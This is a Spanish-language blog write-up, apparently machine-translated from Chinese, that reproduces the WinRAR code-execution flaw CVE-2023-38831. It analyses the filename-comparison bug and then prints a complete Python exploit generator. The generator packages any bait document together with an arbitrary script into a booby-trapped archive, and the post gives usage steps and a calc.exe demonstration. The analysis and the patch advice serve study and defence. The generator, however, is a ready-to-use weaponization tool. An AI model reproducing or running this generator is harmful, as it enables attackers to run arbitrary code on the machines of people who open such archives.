[Recurrencia de vulnerabilidad] Vulnerabilidad de ejecución de código RARLAB WinRAR RCE (CVE-2023-38831)


Prefacio

WinRAR es un potente administrador de archivos, que es la interfaz gráfica de la herramienta de archivo RAR en el entorno Windows.
Este software se puede utilizar para realizar copias de seguridad de datos, reducir el tamaño de los archivos adjuntos de correo electrónico, descomprimir RAR, ZIP y otros tipos de archivos descargados de Internet, y crear nuevos archivos comprimidos en formatos RAR y ZIP.

A partir de la versión 5.60, WinRAR ha habilitado nuevos íconos, pero los usuarios aún pueden volver a los íconos de estilo original a través del paquete de temas proporcionado en el sitio web oficial.

declaración

No utilice las tecnologías relevantes de este artículo para realizar pruebas ilegales. Cualquier consecuencia y pérdida directa o indirecta causada por la difusión y el uso de la información o las herramientas proporcionadas en este artículo son responsabilidad del propio usuario. Todas las consecuencias adversas y El autor del artículo es irrelevante. Este artículo es sólo para fines educativos.

1. Descripción de la vulnerabilidad

WinRAR es un compresor de archivos que admite la compresión y descompresión de archivos en RAR, ZIP y otros formatos. WinRAR tiene una vulnerabilidad de ejecución de código al procesar archivos y carpetas con el mismo nombre en el paquete comprimido. El atacante construye un archivo de paquete comprimido especialmente diseñado compuesto de archivos maliciosos y archivos no maliciosos. Después de inducir a la víctima a abrir este archivo, el atacante ejecutará comandos arbitrarios en la máquina víctima.

Existe una vulnerabilidad de seguridad en las versiones de RARLabs WinRAR anteriores a la 6.23, que permite a los atacantes ejecutar código arbitrario.


2. Versiones afectadas

  • WinRAR<6.23

3. Análisis de vulnerabilidad

La activación de vulnerabilidades se divide principalmente en dos enlaces:

1. Cuando se hace clic en el archivo cebo, se libera el archivo en la carpeta con el mismo nombre
2. Cuando se ejecuta el archivo, se ejecuta el archivo .cmd en la carpeta en lugar del archivo original.

liberar archivo

Después de que el usuario hace clic en el archivo, winrar recorrerá el directorio en el archivo zip, comparará el directorio-> nombre y el nombre del archivo en el que se hizo clic (click_name). La cuarta opción de parámetro de la función de comparación (0047F790) es, se llamará a la función, opción como 0x80000006la 00496020tercera. Cuando se pasan los parámetros 00496020, click_name y Entry_name se compararán como cadenas.
Insertar descripción de la imagen aquí
Dado que la longitud de comparación pasada es la longitud de nombre_clic, comparaciones como "CLASSIFIED_DOCUMENTS.pdf" y "CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd" coincidirán, por lo que direntrycuando con el mismo nombre que el archivo en el que se hizo clic, la La función de comparación devolverá 1 indica coincidencia y el archivo correspondiente a la entrada se publicará junto con el archivo en el que se hizo clic.
Insertar descripción de la imagen aquí
En la versión de reparación 623beta, el valor de la opción pasada a la función de comparación es 0x80000002Bajo esta condición, la función de comparación primero extraerá los nombres de directorio de los dos parámetros para compararlos y la situación anterior ya no coincidirá.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
La nueva versión del valor de la opción establece el indicador de control, que se establece después de que el directorio temporal se crea y utiliza con éxito durante el proceso de análisis.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
ejecución de archivos

Tome la siguiente parte del código de utilización como ejemplo. Después de hacer doble clic en el archivo pdf en la ventana de visualización de Winrar, Winrar utilizará la función ShellExecuteExW para ejecutar el archivo. Los parámetros pasados ​​aquí son: "C:\Users\ \AppData\Local \Temp
\ ************Rar$DIa *****.*****\CLASSIFIED_DOCUMENTS .pdf "
Insertar descripción de la imagen aquí
Debido a la existencia del error anterior, los siguientes dos archivos se liberarán en la carpeta temporal: CLASSIFIED_DOCUMENTS.pdfyCLASSIFIED_DOCUMENTS.pdf .cmd

这两个文件的末尾空格都在函数4A26B0中被去除

Insertar descripción de la imagen aquí
Como ShellExecuteExWhay un espacio al final del parámetro, ejecutará el segundo archivo .cmd y se activará la vulnerabilidad.
Insertar descripción de la imagen aquí


4. Recurrencia de vulnerabilidades

El entorno para esta recurrencia es el siguiente

Paquete de instalación del entorno de reproducción: haga clic para descargar
Insertar descripción de la imagen aquí
la verificación del script de github

Dirección del proyecto: CVE-2023-38831-winrar-exploit

El código de explotación es el siguiente (los componentes del código están marcados)

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.tar"
# 模板文件夹的名称
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
#诱饵文件
SCRIPT_NAME = "script.bat"
#脚本文件
if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()
# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
#改诱饵文件扩展名
os.remove(TEMPLATE_NAME + ".zip")
# 删除临时zip
with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)
#写入文件
print("ok..")

Dos formas de generar POC
python cve-2023-38831-exp-gen.py poc
o
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar

Instrucciones

1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)
2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序

Insertar descripción de la imagen aquí
Ejecute el comando para generar exp.rar, abra el paquete comprimido y haga doble clic para ejecutar el archivo *****.pdf
y finalmente ejecute Calc.
Insertar descripción de la imagen aquí


5. Sugerencias de reparación

Se recomienda que quienes no hayan actualizado a tiempo actualicen a la última versión 6.23 lo antes posible para evitar ataques maliciosos.

Supongo que te gusta

Origin blog.csdn.net/weixin_46944519/article/details/132806105
Recomendado
Clasificación